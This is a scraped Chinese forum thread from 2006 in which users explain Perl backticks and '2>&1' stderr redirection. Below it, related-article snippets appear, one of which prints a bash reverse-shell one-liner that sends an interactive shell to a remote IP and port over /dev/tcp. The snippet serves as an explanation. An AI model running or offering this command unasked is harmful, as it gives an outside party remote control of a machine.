社区
脚本语言
帖子详情
2>&1的问题
rokyo
2006-11-11 11:06:00
my $RESULT=`$G_VERSDISPLAY{@ARGV[1]} 2>&1 `;
同样的语句,在不同的两个工程里,$G_VERSDISPLAY{@ARGV[1]} 的值也是一样的,为什么结果却不一样.
...全文
174
4
打赏
收藏
2>&1的问题
my $RESULT=`$G_VERSDISPLAY{@ARGV[1]} 2>&1 `; 同样的语句,在不同的两个工程里,$G_VERSDISPLAY{@ARGV[1]} 的值也是一样的,为什么结果却不一样.
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
4 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
fibbery
2006-11-14
打赏
举报
回复
另外还要看实际执行的命令,在不同的工程中是不是结果就是不一样。
因为$result保存的是实际执行的命令结果。
fibbery
2006-11-14
打赏
举报
回复
反小点引起来的部分表示要执行的命令,并且将其在标准输出重的内容保存在左边的变量里面。
如果不使用2>&1那么,错误将不会再左边的变量中。
对于为什么在不同的工程中有不同结果,你可以自行测试:
1、打印%G_VERSDISPLAY中所有元素
2、打印@ARGV的元素
3、对比ARGV中的元素与%G_VERSDISPLAY的key值,找出实际结果
rokyo
2006-11-13
打赏
举报
回复
试了改成你说的方式,还是同样的.
不是很理解
什么是把标准错误输出到标准输出.
能帮我解释一下么.
xyzxyz1111
2006-11-12
打赏
举报
回复
应该是$ARGV[1]; ?
[最新整理公布][汇总II]微软等数据结构+算法面试100题[第1-80题]
#### 2. 设计包含min函数的栈 - **定义**:实现一个特殊的栈,在实现栈的基本功能的基础上,再实现一个min函数,这个函数返回栈中的最小元素。 - **要求**:min、push、pop操作的时间复杂度都是O(1)。 - **方法**:...
详解shell中>/dev/null 2>&1到底是什么
前言相信大家经常能在shell脚本.../dev/null,出了一点小
问题
之后,我才开始去了解这段命令背后的“玄机”。shell重定向介绍就像我们平时写的程序一样,一段程序会处理外部的输入,然后将运算结果输出到指定的位置。...
>/dev/null 2>&1
shell中可能经常能看到:>/dev/null 2>&1 命令的结果可以通过%>的形式来定义输出 分解这个组合:“>/dev/null 2>&1” 为五部分。 1:> 代表重定向到哪里,例如:echo "123" > /home/123.txt2:/
HCIP-AI_EI
问题
1-显示错误:size.width>0 && size.height>0 in function 'cv::imshow'
HCIP-AI_EI
问题
1-显示错误:size.width>0 && size.height>0 in function ‘cv::imshow’ 在调用OpenCV的imread时,使用了如下的语句 import cv2 im=cv2.imread(r"C:\Achillesccj\AI\1_HUAWEI\图像识别...
浅析重定向与反弹Shell命令
>&word和&>word都表示的是把标准输出和标准错误同时重定向到某个文件,都相当于>word 2>&1。 那么也就是 bash -i >& /dev/tcp /192.168.190.138/ 6666 相当于 bash -i > /dev/ tcp/ 192.168 .190 ...
脚本语言
37,743
社区成员
34,213
社区内容
发帖
与我相关
我的任务
脚本语言
JavaScript,VBScript,AngleScript,ActionScript,Shell,Perl,Ruby,Lua,Tcl,Scala,MaxScript 等脚本语言交流。
复制链接
扫一扫
分享
社区描述
JavaScript,VBScript,AngleScript,ActionScript,Shell,Perl,Ruby,Lua,Tcl,Scala,MaxScript 等脚本语言交流。
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
试试用AI创作助手写篇文章吧
+ 用AI写文章